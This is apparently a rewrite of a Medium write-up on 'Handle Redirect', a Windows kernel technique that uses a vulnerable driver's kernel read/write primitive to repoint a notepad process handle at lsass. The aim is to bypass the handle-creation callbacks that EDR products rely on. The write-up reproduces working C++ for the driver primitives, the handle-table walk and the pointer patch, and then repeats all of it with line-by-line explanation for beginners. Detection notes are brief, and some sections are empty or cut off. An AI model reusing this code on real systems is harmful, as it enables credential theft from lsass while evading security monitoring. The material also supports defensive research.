Handle Redirect
A write-up shows how to redirect a handle's kernel object pointer so that a handle opened on a harmless process resolves to the lsass process instead. This lets an attacker obtain a working handle to a sensitive process without the handle-creation callback that security products use to observe and block such access.
S12 - 0x12Dark Development Follow
Published on medium.com
Welcome to this new Medium post. In this one we will see how to redirect a handle’s kernel object pointer to a different EPROCESS, getting a fully functional handle to a sensitive process without any kernel callback ever seeing the operation.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up is about a Windows kernel technique the author calls Handle Redirect. The goal is to obtain a fully functional handle to a sensitive process, in the example lsass, without any kernel callback ever seeing the operation. In other words, the technique avoids the telemetry that the OpenProcess function normally generates.
The problem it addresses is ObRegisterCallbacks. EDR products register callbacks on handle creation through ObRegisterCallbacks. Every time a process calls OpenProcess on lsass (or any process), the EDR sees it and can strip the access rights before the handle reaches the caller. Handle Redirect never calls OpenProcess on lsass. It calls OpenProcess on a dummy process (notepad in the example) and then redirects the handle's kernel object pointer so that it points directly at the lsass process.
The post assumes familiarity with Windows kernel internals, BYOVD and kernel read/write primitives. It is part of a series and uses an arbitrary kernel read/write primitive throughout the implementation.

Setup
The technique needs a vulnerable driver that exposes an arbitrary kernel read/write primitive. The code in the post opens a device named \\.\GIO and sends IOCTL 0xC3502808 to perform reads and writes. The driver header links to a loldrivers.io entry for the driver.
On the tooling side, the code resolves kernel offsets by downloading the ntoskrnl PDB from the Microsoft symbol server and parsing it with DbgHelp, so no hard-coded offsets are needed. The code also calls EnableSeDebugPrivilege for itself before starting.
The example targets notepad.exe as the dummy process and lsass.exe as the sensitive process. The code checks that notepad is running. The offsets used in the walkthrough are taken from the Windows 11 25h2 structures on Vergilius Project: _EPROCESS, _HANDLE_TABLE and _HANDLE_TABLE_ENTRY.
Finding it
The reasoning starts from how the kernel resolves a handle to an object. The chain is:
_EPROCESS, the kernel representation of a process._HANDLE_TABLE, reached through theObjectTablefield inside_EPROCESS._HANDLE_TABLE_ENTRY, the entry that maps a handle value to a kernel object.
Inside _EPROCESS, at offset 0x300, sits the handle table pointer:
struct _HANDLE_TABLE* ObjectTable; //0x300
Every process has a _HANDLE_TABLE that tracks all its open handles. It holds a TableCode field that encodes the base address of the actual handle entries array, where each entry maps a handle value to a kernel object. Inside _HANDLE_TABLE, at offset 0x8:
volatile ULONGLONG TableCode; //0x8
TableCode is not a raw pointer. It encodes two things in a single 64-bit value:
- Bits [0:1]: the level, which tells the kernel how many indirection layers the table has (0 = single page, 1 = two-level, 2 = three-level).
- Bits [2:63]: the actual base address of the
_HANDLE_TABLE_ENTRYarray.
Decoding it:
DWORD64 level = tableCode & 0x3;DWORD64 tableBase = tableCode & ~0x3ULL;
With tableBase resolved, the address of any handle entry is calculated as:
entryAddress = tableBase + (handleValue / 4) * 16;
handleValue / 4 converts the handle to an index (handles are multiples of 4), and each entry is 16 bytes. This gives the exact memory address of the _HANDLE_TABLE_ENTRY for that handle.
The _HANDLE_TABLE_ENTRY union has many fields, but two are interesting. GrantedAccessBits is what the author patched in a previous post to elevate permissions on an existing handle. This time the target is ObjectPointerBits:
//0x10 bytes (sizeof)union _HANDLE_TABLE_ENTRY{ volatile LONGLONG VolatileLowValue; //0x0 LONGLONG LowValue; //0x0 struct { struct _HANDLE_TABLE_ENTRY_INFO* volatile InfoTable; //0x0 LONGLONG HighValue; //0x8 union _HANDLE_TABLE_ENTRY* NextFreeHandleEntry; //0x8 struct _EXHANDLE LeafHandleValue; //0x8 }; LONGLONG RefCountField; //0x0 ULONGLONG Unlocked:1; //0x0 ULONGLONG RefCnt:16; //0x0 ULONGLONG Attributes:3; //0x0 struct { ULONGLONG ObjectPointerBits:44; //0x0 ULONG GrantedAccessBits:25; //0x8 ULONG NoRightsUpgrade:1; //0x8 ULONG Spare1:6; //0x8 }; ULONG Spare2; //0xc};
ObjectPointerBits in bits [20:63] stores the address of the _OBJECT_HEADER of the kernel object this handle refers to, shifted by 4. The low 20 bits are used for metadata and must be preserved when writing back. Decoding the pointer:
address = ObjectPointerBits << 4
That address lands directly on the _OBJECT_HEADER of the object. The actual object body, in this case the _EPROCESS, sits at +0x030 inside that header. This is the field to patch: replacing ObjectPointerBits with the encoded address of the lsass _OBJECT_HEADER makes the kernel resolve the notepad handle straight to the lsass process.
Exploitation
Step 1: get the ntoskrnl base and open the driver
vector<KernelDriver> drivers = GetSortedKernelDrivers();DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);HANDLE drv = openVulnDriver();
The driver list comes from NtQuerySystemInformation with SystemModuleInformation (class 11), sorted by base address. GetNtoskrnlBase looks for a module whose lowercased name contains ntoskrnl.exe or ntkrnl. openVulnDriver opens \\.\GIO with GENERIC_READ | GENERIC_WRITE.
Step 2: get your own EPROCESS and open notepad
DWORD pid = GetCurrentProcessId();DWORD64 eprocess = getEPROCESS(drv, ntoskrnlBase, pid);DWORD notepadPID = getPIDbyProcName("notepad.exe");if (notepadPID == 0) { cout << "[-] notepad.exe not running" << endl; return 1;}HANDLE hNotepad = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, notepadPID);if (hNotepad == NULL) { cout << "[-] OpenProcess failed: " << GetLastError() << endl; return 1;}
getEPROCESS reads PsInitialSystemProcess from ntoskrnl to get the System process EPROCESS, then walks the ActiveProcessLinks list, comparing UniqueProcessId against the target PID, with a cap of 5000 iterations. The handle to notepad is opened with PROCESS_QUERY_LIMITED_INFORMATION. Note that the full listing in main opens notepad with PROCESS_ALL_ACCESS instead.
Step 3: walk to the handle table entry
DWORD64 objectTableAddr = eprocess + g_offsets.ObjectTable;DWORD64 handleTablePtr = 0;ReadPrimitive(drv, &handleTablePtr, (LPVOID)(uintptr_t)objectTableAddr, sizeof(DWORD64));DWORD64 tableCode = 0;ReadPrimitive(drv, &tableCode, (LPVOID)(uintptr_t)(handleTablePtr + 0x8), sizeof(DWORD64));DWORD64 tableBase = tableCode & ~0x3ULL;DWORD64 handleValue = (DWORD64)hNotepad;DWORD64 entryAddress = tableBase + (handleValue / 4) * 16;DWORD64 lowQword = 0;ReadPrimitive(drv, &lowQword, (LPVOID)(uintptr_t)entryAddress, sizeof(DWORD64));
This follows the chain described above: read the ObjectTable pointer from our own EPROCESS, read TableCode at +0x8, strip the level bits, compute the entry address from the handle value, and read the low QWORD of the entry, which contains ObjectPointerBits and the metadata bits.
Step 4: get the lsass EPROCESS
DWORD lsassPid = getPIDbyProcName("lsass.exe");DWORD64 eprocessLsass = getEPROCESS(drv, ntoskrnlBase, lsassPid);if (eprocessLsass == 0) { cout << "[-] Failed to get lsass EPROCESS" << endl; return 1;}
The same list walk is used, this time for the lsass PID. No handle to lsass is ever opened.
Step 5: patch ObjectPointerBits
DWORD64 lsassObjectHeader = eprocessLsass - 0x30;// Preserve metadata bits 0-19DWORD64 metadataBits = lowQword & 0xFFFFFULL;// Encode new ObjectPointerBits (bits 20-63)DWORD64 objectPointerBits = (lsassObjectHeader >> 4) & 0xFFFFFFFFFFFULL;DWORD64 newLowQword = (objectPointerBits << 20) | metadataBits;WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &newLowQword, sizeof(DWORD64));
The lsass _OBJECT_HEADER is the lsass EPROCESS minus 0x30. The low 20 bits of the original entry are kept as metadata. The new pointer is shifted right by 4 and masked to 44 bits, then shifted back into bits 20 to 63 and OR-ed with the metadata. The resulting QWORD is written over the entry's low QWORD.
Step 6: verify and restore
DWORD resolvedPid = GetProcessId(hNotepad);if (resolvedPid == lsassPid) { cout << "[+] SUCCESS: hNotepad resolves to lsass" << endl;}// Use the handle here: ReadProcessMemory, etc.// RestoreWritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword, sizeof(DWORD64));cout << "[+] Restored original ObjectPointerBits" << endl;
GetProcessId on the redirected handle should now return the lsass PID. The code comments mark where the handle could be used, for example with ReadProcessMemory. Afterwards the original low QWORD is written back. In the full listing the restore is left as a comment at the end of main, after the verification and a few getchar() pauses.
The primitives
The read and write primitives are thin wrappers around DeviceIoControl on the vulnerable driver:
#include <iostream>#include <Windows.h>// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/#define IOCTL_READWRITE_PRIMITIVE 0xC3502808using namespace std;typedef struct KernelWritePrimitive { LPVOID dst; LPVOID src; DWORD size;} KernelWritePrimitive;typedef struct KernelReadPrimitive { LPVOID dst; LPVOID src; DWORD size;} KernelReadPrimitive;BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) { KernelWritePrimitive kwp; kwp.dst = dst; kwp.src = src; kwp.size = size; BYTE bufferReturned[48] = { 0 }; DWORD returned = 0; BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr); if (!result) { cout << "Failed to send write primitive. Error code: " << GetLastError() << endl; return FALSE; } cout << "Write primitive sent successfully. Bytes returned: " << returned << endl; return TRUE;}BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) { KernelReadPrimitive krp; krp.dst = dst; krp.src = src; krp.size = size; DWORD returned = 0; BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr); if (!result) { cout << "Failed to send read primitive. Error code: " << GetLastError() << endl; return FALSE; } return TRUE;}HANDLE openVulnDriver() { HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); if (!driver || driver == INVALID_HANDLE_VALUE) { cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl; return NULL; } return driver;}
Offset resolution
The full code also includes GetOffsets.h, which extracts the CodeView PDB record from ntoskrnl.exe, validates or downloads the PDB from msdl.microsoft.com, loads it into DbgHelp at a fake base, and resolves _EPROCESS field offsets (ObjectTable, UniqueProcessId, ActiveProcessLinks) plus the symbols PsInitialSystemProcess and ObHeaderCookie. The ObHeaderCookie value is read in main but, as the comment in the code notes, it is not needed for ObjectPointerBits encoding and is kept for reference.
Proof of Concept

Root cause
The kernel trusts its own handle table. It does not verify that the object a handle entry points to belongs to the process that opened the handle; it just follows the pointer. Because the entry is patched directly in kernel memory, no handle creation event is generated for lsass, so ObRegisterCallbacks, the main EDR hook for handle monitoring, never fires.
Impact
An attacker who already has an arbitrary kernel read/write primitive can obtain a working handle to a sensitive process such as lsass without triggering handle-creation callbacks, and and the code comments mark where it could be used, for example with ReadProcessMemory. The technique depends on the BYOVD primitive: without a vulnerable driver providing kernel read/write, there is nothing to patch.
Detection
The author describes the technique as hard to detect at the callback level by design, since ObRegisterCallbacks never fires on lsass, and lists detection vectors:
- Handle table scanning: a security product running at kernel level can periodically scan all process handle tables and compare the
ObjectPointerBits-decoded EPROCESS against the process that owns the table. A mismatch, such as a notepad handle pointing to the lsass EPROCESS, is anomalous. - BYOVD detection: the primitive requires a vulnerable driver, which the author calls the strongest detection layer here.
Fix
The report does not describe any fix or vendor change.
Variants to test
- Other sensitive processes:
- Other handle-based objects: the same entry layout applies to any object type, so a redirected handle to a file or section object would show the same mismatch under handle table scanning.
- Restore timing:
- Different vulnerable drivers:
What happened, in plain words
This write-up describes a technique for Windows that the author calls Handle Redirect. The goal is to get a working handle to a sensitive process, in the example lsass, without any kernel callback ever seeing the operation. In other words, the technique avoids the telemetry that the OpenProcess function normally generates.
Before going further, a few words for readers who have never done any security work. Windows is an operating system. A process is a running program: your browser is a process, Notepad is a process. Some processes are more sensitive than others. lsass is the process Windows uses to handle logins and keep credentials in memory, so security products watch it closely. A handle is a small number that a program receives when it asks Windows to access something, and it uses that number afterwards instead of the real object. You can think of it as a cloakroom ticket: you hand in your coat, you get a numbered ticket, and later the ticket is enough to get the coat back. The cloakroom staff never ask whether the ticket really belongs to you; they just look up the number.
A kernel is the core of the operating system, the part that has full control over memory, processes and hardware. Normal programs run in user mode, with limited rights, and ask the kernel for anything sensitive. The kernel is where the handle table lives.
An EDR (Endpoint Detection and Response) is a security product installed on a machine that watches for suspicious behaviour. EDR products register callbacks on handle creation through a kernel function called ObRegisterCallbacks. A callback is a function that the system calls automatically when something happens, like a doorbell that rings in the security office every time a handle is created. Every time a process calls OpenProcess on lsass (or any process), the EDR sees it and can strip the access rights before the handle reaches the caller. OpenProcess is the Windows function a program calls to ask for a handle to another process.
Handle Redirect never calls OpenProcess on lsass. It calls OpenProcess on a dummy process (notepad in the example) and then redirects the handle's kernel object pointer so that it points directly at the lsass process. The doorbell rings for Notepad, which is uninteresting, and then the ticket is quietly rewritten to fetch a different coat.
The post assumes familiarity with Windows kernel internals, BYOVD and kernel read/write primitives. For a beginner: BYOVD stands for "Bring Your Own Vulnerable Driver", a technique where an attacker loads a legitimate but buggy driver that the kernel trusts, and uses its bugs to read and write kernel memory. A kernel read/write primitive is exactly that: the ability to read and write arbitrary kernel memory, which is the foundation of everything below. The post is part of a series and uses an arbitrary kernel read/write primitive throughout the implementation.

Setup
The technique needs a vulnerable driver that exposes an arbitrary kernel read/write primitive. The code in the post opens a device named \\.\GIO and sends IOCTL 0xC3502808 to perform reads and writes. An IOCTL (I/O control) is a message a program sends to a driver to ask it to do something; think of it as a service window with a number, and the number tells the clerk which service you want. The driver header links to a loldrivers.io entry for the driver. loldrivers.io is a public catalogue of legitimate drivers that are known to be abusable.
On the tooling side, the code resolves kernel offsets by downloading the ntoskrnl PDB from the Microsoft symbol server and parsing it with DbgHelp, so no hard-coded offsets are needed. An offset is a distance in bytes from the start of a structure to a particular field, like the page number where a chapter starts in a book. ntoskrnl is the Windows kernel executable. A PDB is a symbol file published by Microsoft that lists the names and positions of functions and structures inside a binary, so tools can find fields by name instead of guessing numbers. DbgHelp is the Windows library that reads PDB files. The code also calls EnableSeDebugPrivilege for itself before starting. A privilege is a permission granted to a process; SeDebugPrivilege lets a process open handles to other processes for debugging.
The example targets notepad.exe as the dummy process and lsass.exe as the sensitive process. The code checks that notepad is running. The offsets used in the walkthrough are taken from the Windows 11 25h2 structures on Vergilius Project: _EPROCESS, _HANDLE_TABLE and _HANDLE_TABLE_ENTRY. Vergilius Project is a website that documents the internal structures of the Windows kernel for each version, so researchers can see what fields exist and at which offset.
Finding it
The reasoning starts from how the kernel resolves a handle to an object. The chain is:
_EPROCESS, the kernel representation of a process._HANDLE_TABLE, reached through theObjectTablefield inside_EPROCESS._HANDLE_TABLE_ENTRY, the entry that maps a handle value to a kernel object.
In plain words: the kernel keeps one record per process (_EPROCESS), that record contains a pointer to a table of handles (_HANDLE_TABLE), and the table contains entries (_HANDLE_TABLE_ENTRY), each of which says which object a handle number refers to. It is like a building directory: the building has a floor, the floor has a list of offices, and each line on the list says who sits there.
Inside _EPROCESS, at offset 0x300, sits the handle table pointer:
struct _HANDLE_TABLE* ObjectTable; //0x300
This line declares a field called ObjectTable inside the _EPROCESS structure. The comment //0x300 means the field sits 0x300 bytes (768 in decimal) from the start of the structure. The type struct _HANDLE_TABLE* means the field holds the address of a handle table. So if you know where a process record starts in memory, adding 0x300 gives you the address of its handle table.
Every process has a _HANDLE_TABLE that tracks all its open handles. It holds a TableCode field that encodes the base address of the actual handle entries array, where each entry maps a handle value to a kernel object. Inside _HANDLE_TABLE, at offset 0x8:
volatile ULONGLONG TableCode; //0x8
This declares a field called TableCode at offset 0x8 inside the handle table. ULONGLONG is an unsigned 64-bit integer, that is, a number made of 64 bits. volatile tells the compiler that the value can change at any time and must not be cached. The important part is that this single 64-bit number is not just an address: it packs extra information in its lowest bits.
TableCode is not a raw pointer. It encodes two things in a single 64-bit value:
- Bits [0:1]: the level, which tells the kernel how many indirection layers the table has (0 = single page, 1 = two-level, 2 = three-level).
- Bits [2:63]: the actual base address of the
_HANDLE_TABLE_ENTRYarray.
A bit is a single binary digit, 0 or 1. A 64-bit value is a row of 64 bits, and different ranges of bits can carry different pieces of information. Here the two lowest bits say how the table is organised, and the remaining 62 bits are the address. The address is stored with its lowest two bits cleared, because memory addresses used for these structures are aligned, so those bits are free to carry the level.
Decoding it:
DWORD64 level = tableCode & 0x3;DWORD64 tableBase = tableCode & ~0x3ULL;
Line by line: tableCode & 0x3 keeps only the two lowest bits, because 0x3 in binary is 11, so the result is the level. tableCode & ~0x3ULL keeps everything except the two lowest bits: ~0x3ULL is a 64-bit value with all bits set except the last two, so the AND operation clears those two bits and leaves the real base address. After this, level tells you the table shape and tableBase is the address of the entry array.
With tableBase resolved, the address of any handle entry is calculated as:
entryAddress = tableBase + (handleValue / 4) * 16;
handleValue / 4 converts the handle to an index (handles are multiples of 4), and each entry is 16 bytes. This gives the exact memory address of the _HANDLE_TABLE_ENTRY for that handle. In everyday terms: the handle number is like a seat number, but seats are numbered in steps of four, so you divide by four to get the row, and each row is 16 bytes long, so you multiply by 16 to get the byte offset. Add that to the start of the array and you are standing exactly on the entry.
The _HANDLE_TABLE_ENTRY union has many fields, but two are interesting. GrantedAccessBits is what the author patched in a previous post to elevate permissions on an existing handle. This time the target is ObjectPointerBits:
//0x10 bytes (sizeof)union _HANDLE_TABLE_ENTRY{ volatile LONGLONG VolatileLowValue; //0x0 LONGLONG LowValue; //0x0 struct { struct _HANDLE_TABLE_ENTRY_INFO* volatile InfoTable; //0x0 LONGLONG HighValue; //0x8 union _HANDLE_TABLE_ENTRY* NextFreeHandleEntry; //0x8 struct _EXHANDLE LeafHandleValue; //0x8 }; LONGLONG RefCountField; //0x0 ULONGLONG Unlocked:1; //0x0 ULONGLONG RefCnt:16; //0x0 ULONGLONG Attributes:3; //0x0 struct { ULONGLONG ObjectPointerBits:44; //0x0 ULONG GrantedAccessBits:25; //0x8 ULONG NoRightsUpgrade:1; //0x8 ULONG Spare1:6; //0x8 }; ULONG Spare2; //0xc};
This is a C declaration of a union, a type where several fields share the same memory. The whole entry is 16 bytes (//0x10 bytes (sizeof)). Different views of the same bytes are listed: LowValue and VolatileLowValue at offset 0x0, HighValue at 0x8, and so on. The part that matters here is the inner struct with ObjectPointerBits:44 at offset 0x0, GrantedAccessBits:25 at 0x8, NoRightsUpgrade:1 at 0x8 and Spare1:6 at 0x8. The :44, :25, :1 and :6 are bitfields: they say how many bits each field occupies. So the first 8 bytes of the entry hold a 44-bit pointer plus some other bits, and the next bytes hold the granted access rights. The comments on the right give the byte offset of each field.
ObjectPointerBits in bits [20:63] stores the address of the _OBJECT_HEADER of the kernel object this handle refers to, shifted by 4. The low 20 bits are used for metadata and must be preserved when writing back. The _OBJECT_HEADER is a small header that sits in front of every kernel object and describes it; the object body follows the header. "Shifted by 4" means the stored value is the real address divided by 16, which saves four bits because the address is aligned. The low 20 bits hold bookkeeping such as a reference count and attributes, so if you overwrite the whole 64-bit value you would corrupt that bookkeeping. Decoding the pointer:
address = ObjectPointerBits << 4
<< 4 shifts the value four bits to the left, which multiplies it by 16, undoing the division. The result is the real address of the _OBJECT_HEADER.
That address lands directly on the _OBJECT_HEADER of the object. The actual object body, in this case the _EPROCESS, sits at +0x030 inside that header. This is the field to patch: replacing ObjectPointerBits with the encoded address of the lsass _OBJECT_HEADER makes the kernel resolve the notepad handle straight to the lsass process. In cloakroom terms, you keep the ticket you were given for a cheap coat, but you rewrite the line in the ledger so that the number now points at the expensive coat.
Exploitation
Step 1: get the ntoskrnl base and open the driver
vector<KernelDriver> drivers = GetSortedKernelDrivers();DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);HANDLE drv = openVulnDriver();
Line by line: GetSortedKernelDrivers() returns a list of loaded kernel drivers, each with a name, a base address and a size. GetNtoskrnlBase(drivers) scans that list and returns the base address of the kernel itself. openVulnDriver() opens a handle to the vulnerable driver device. The base address is needed because kernel symbols such as PsInitialSystemProcess are found by adding an offset to the kernel base, so you must know where the kernel starts in memory.
The driver list comes from NtQuerySystemInformation with SystemModuleInformation (class 11), sorted by base address. NtQuerySystemInformation is a Windows function that returns information about the system; class 11 means "list the loaded kernel modules". GetNtoskrnlBase looks for a module whose lowercased name contains ntoskrnl.exe or ntkrnl. openVulnDriver opens \\.\GIO with GENERIC_READ | GENERIC_WRITE. The \\.\ prefix is the Windows way of naming a device rather than a file, and the two flags ask for read and write access.
Step 2: get your own EPROCESS and open notepad
DWORD pid = GetCurrentProcessId();DWORD64 eprocess = getEPROCESS(drv, ntoskrnlBase, pid);DWORD notepadPID = getPIDbyProcName("notepad.exe");if (notepadPID == 0) { cout << "[-] notepad.exe not running" << endl; return 1;}HANDLE hNotepad = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, notepadPID);if (hNotepad == NULL) { cout << "[-] OpenProcess failed: " << GetLastError() << endl; return 1;}
Line by line: GetCurrentProcessId() returns the PID of the program itself. A PID is the number Windows assigns to each running process. getEPROCESS then finds the kernel record for that PID. getPIDbyProcName("notepad.exe") looks up Notepad's PID by name. If it returns 0, Notepad is not running, so the program prints a message and exits. OpenProcess then asks for a handle to Notepad with PROCESS_QUERY_LIMITED_INFORMATION, which is a modest access right that allows asking basic questions about the process. If the call fails, the program prints the Windows error code and exits. The reason for opening Notepad rather than lsass is the whole point: this call is the one the EDR sees, and it is harmless.
getEPROCESS reads PsInitialSystemProcess from ntoskrnl to get the System process EPROCESS, then walks the ActiveProcessLinks list, comparing UniqueProcessId against the target PID, with a cap of 5000 iterations. PsInitialSystemProcess is a kernel symbol that points at the process record of the System process, the first process in a linked list. ActiveProcessLinks is a field that chains all process records together, like a treasure hunt where each clue gives the address of the next. UniqueProcessId is the PID field. The 5000 cap prevents an endless loop if the list is corrupted. The handle to notepad is opened with PROCESS_QUERY_LIMITED_INFORMATION. Note that the full listing in main opens notepad with PROCESS_ALL_ACCESS instead, which asks for every right at once.
Step 3: walk to the handle table entry
DWORD64 objectTableAddr = eprocess + g_offsets.ObjectTable;DWORD64 handleTablePtr = 0;ReadPrimitive(drv, &handleTablePtr, (LPVOID)(uintptr_t)objectTableAddr, sizeof(DWORD64));DWORD64 tableCode = 0;ReadPrimitive(drv, &tableCode, (LPVOID)(uintptr_t)(handleTablePtr + 0x8), sizeof(DWORD64));DWORD64 tableBase = tableCode & ~0x3ULL;DWORD64 handleValue = (DWORD64)hNotepad;DWORD64 entryAddress = tableBase + (handleValue / 4) * 16;DWORD64 lowQword = 0;ReadPrimitive(drv, &lowQword, (LPVOID)(uintptr_t)entryAddress, sizeof(DWORD64));
Line by line: the first line computes the address of the ObjectTable field by adding the known offset to the start of our own process record. The second line prepares a variable to receive a 64-bit value. The third line asks the driver to read 8 bytes from that address into handleTablePtr, which becomes the address of our handle table. The fourth and fifth lines read 8 bytes at handleTablePtr + 0x8, which is the TableCode field. The sixth line clears the two low bits to get the real base of the entry array. The seventh line converts the Notepad handle into a 64-bit number. The eighth line computes the exact address of the entry for that handle, using the divide-by-four and multiply-by-sixteen rule explained earlier. The last two lines read the low 8 bytes of that entry, which contain ObjectPointerBits and the metadata bits.
This follows the chain described above: read the ObjectTable pointer from our own EPROCESS, read TableCode at +0x8, strip the level bits, compute the entry address from the handle value, and read the low QWORD of the entry, which contains ObjectPointerBits and the metadata bits. A QWORD is simply a 64-bit value, that is, 8 bytes.
Step 4: get the lsass EPROCESS
DWORD lsassPid = getPIDbyProcName("lsass.exe");DWORD64 eprocessLsass = getEPROCESS(drv, ntoskrnlBase, lsassPid);if (eprocessLsass == 0) { cout << "[-] Failed to get lsass EPROCESS" << endl; return 1;}
Line by line: find lsass's PID by name, then use the same list walk to find its process record. If the record is not found, print an error and stop. The same list walk is used, this time for the lsass PID. No handle to lsass is ever opened, which is why no callback fires for it.
Step 5: patch ObjectPointerBits
DWORD64 lsassObjectHeader = eprocessLsass - 0x30;// Preserve metadata bits 0-19DWORD64 metadataBits = lowQword & 0xFFFFFULL;// Encode new ObjectPointerBits (bits 20-63)DWORD64 objectPointerBits = (lsassObjectHeader >> 4) & 0xFFFFFFFFFFFULL;DWORD64 newLowQword = (objectPointerBits << 20) | metadataBits;WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &newLowQword, sizeof(DWORD64));
Line by line: the first line subtracts 0x30 from the lsass process record to get the address of its _OBJECT_HEADER, because the body sits 0x30 bytes after the header. The second line keeps only the low 20 bits of the original entry, which are the metadata that must survive. 0xFFFFF is 20 bits set to 1. The third line shifts the lsass header address right by 4 (dividing by 16) and masks it to 44 bits with 0xFFFFFFFFFFF, producing the encoded pointer. The fourth line shifts that pointer left by 20 so it sits in bits 20 to 63, then ORs it with the metadata so the low 20 bits are preserved. The last line writes the new 8-byte value over the entry's low QWORD.
The lsass _OBJECT_HEADER is the lsass EPROCESS minus 0x30. The low 20 bits of the original entry are kept as metadata. The new pointer is shifted right by 4 and masked to 44 bits, then shifted back into bits 20 to 63 and OR-ed with the metadata. The resulting QWORD is written over the entry's low QWORD. After this write, the Notepad handle number still exists, but the entry it points to now describes lsass.
Step 6: verify and restore
DWORD resolvedPid = GetProcessId(hNotepad);if (resolvedPid == lsassPid) { cout << "[+] SUCCESS: hNotepad resolves to lsass" << endl;}// Use the handle here: ReadProcessMemory, etc.// RestoreWritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword, sizeof(DWORD64));cout << "[+] Restored original ObjectPointerBits" << endl;
Line by line: GetProcessId(hNotepad) asks Windows which process the handle refers to. If the answer is the lsass PID, the redirect worked and the program prints a success message. The commented lines mark where the handle would be used, for example with ReadProcessMemory, which reads memory from another process. The restore lines write the original 8-byte value back to the entry, undoing the patch, and print a confirmation.
GetProcessId on the redirected handle should now return the lsass PID. The code comments mark where the handle could be used, for example with ReadProcessMemory. Afterwards the original low QWORD is written back. In the full listing the restore is left as a comment at the end of main, after the verification and a few getchar() pauses. A getchar() waits for the user to press a key, which is useful when running the program step by step.
The primitives
The read and write primitives are thin wrappers around DeviceIoControl on the vulnerable driver:
#include <iostream>#include <Windows.h>// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/#define IOCTL_READWRITE_PRIMITIVE 0xC3502808using namespace std;typedef struct KernelWritePrimitive { LPVOID dst; LPVOID src; DWORD size;} KernelWritePrimitive;typedef struct KernelReadPrimitive { LPVOID dst; LPVOID src; DWORD size;} KernelReadPrimitive;BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) { KernelWritePrimitive kwp; kwp.dst = dst; kwp.src = src; kwp.size = size; BYTE bufferReturned[48] = { 0 }; DWORD returned = 0; BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr); if (!result) { cout << "Failed to send write primitive. Error code: " << GetLastError() << endl; return FALSE; } cout << "Write primitive sent successfully. Bytes returned: " << returned << endl; return TRUE;}BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) { KernelReadPrimitive krp; krp.dst = dst; krp.src = src; krp.size = size; DWORD returned = 0; BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr); if (!result) { cout << "Failed to send read primitive. Error code: " << GetLastError() << endl; return FALSE; } return TRUE;}HANDLE openVulnDriver() { HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); if (!driver || driver == INVALID_HANDLE_VALUE) { cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl; return NULL; } return driver;}
Line by line: the #define gives the IOCTL number a name, 0xC3502808, so the rest of the code reads clearly. The two structs describe the request sent to the driver: a destination address, a source address and a size. WritePrimitive fills a KernelWritePrimitive with the caller's values, prepares a 48-byte buffer for the driver's reply, and calls DeviceIoControl with the IOCTL number and the request. If the call fails it prints the error and returns FALSE; otherwise it prints how many bytes came back and returns TRUE. ReadPrimitive does the same with a KernelReadPrimitive, but passes the destination buffer directly to DeviceIoControl so the driver writes the read data into it. openVulnDriver calls CreateFileA on \\.\GIO with read and write access and returns the handle, or prints an error and returns NULL if it fails. DeviceIoControl is the Windows function used to send an IOCTL to a driver; CreateFileA is the function used to open files and devices, despite its name.
Offset resolution
The full code also includes GetOffsets.h, which extracts the CodeView PDB record from ntoskrnl.exe, validates or downloads the PDB from msdl.microsoft.com, loads it into DbgHelp at a fake base, and resolves _EPROCESS field offsets (ObjectTable, UniqueProcessId, ActiveProcessLinks) plus the symbols PsInitialSystemProcess and ObHeaderCookie. A CodeView record is a small block inside a Windows executable that names the PDB file and gives its identifier, so tools can fetch the matching symbols. msdl.microsoft.com is Microsoft's public symbol server. Loading at a fake base means telling DbgHelp to pretend the file lives at an address of our choosing, which is fine because we only want names and offsets, not real memory. The ObHeaderCookie value is read in main but, as the comment in the code notes, it is not needed for ObjectPointerBits encoding and is kept for reference.
Proof of Concept

Root cause
The kernel trusts its own handle table. It does not verify that the object a handle entry points to belongs to the process that opened the handle; it just follows the pointer. Because the entry is patched directly in kernel memory, no handle creation event is generated for lsass, so ObRegisterCallbacks, the main EDR hook for handle monitoring, never fires. The weakness is a missing check, not a broken password or a bug in a website: the kernel assumes its own bookkeeping is honest, and the technique abuses that assumption.
Impact
An attacker who already has an arbitrary kernel read/write primitive can obtain a working handle to a sensitive process such as lsass without triggering handle-creation callbacks, and and the code comments mark where it could be used, for example with ReadProcessMemory. The technique depends on the BYOVD primitive: without a vulnerable driver providing kernel read/write, there is nothing to patch. In other words, this is not something a browser user can trigger; it is a step an attacker takes after already having deep access to the machine.
Detection
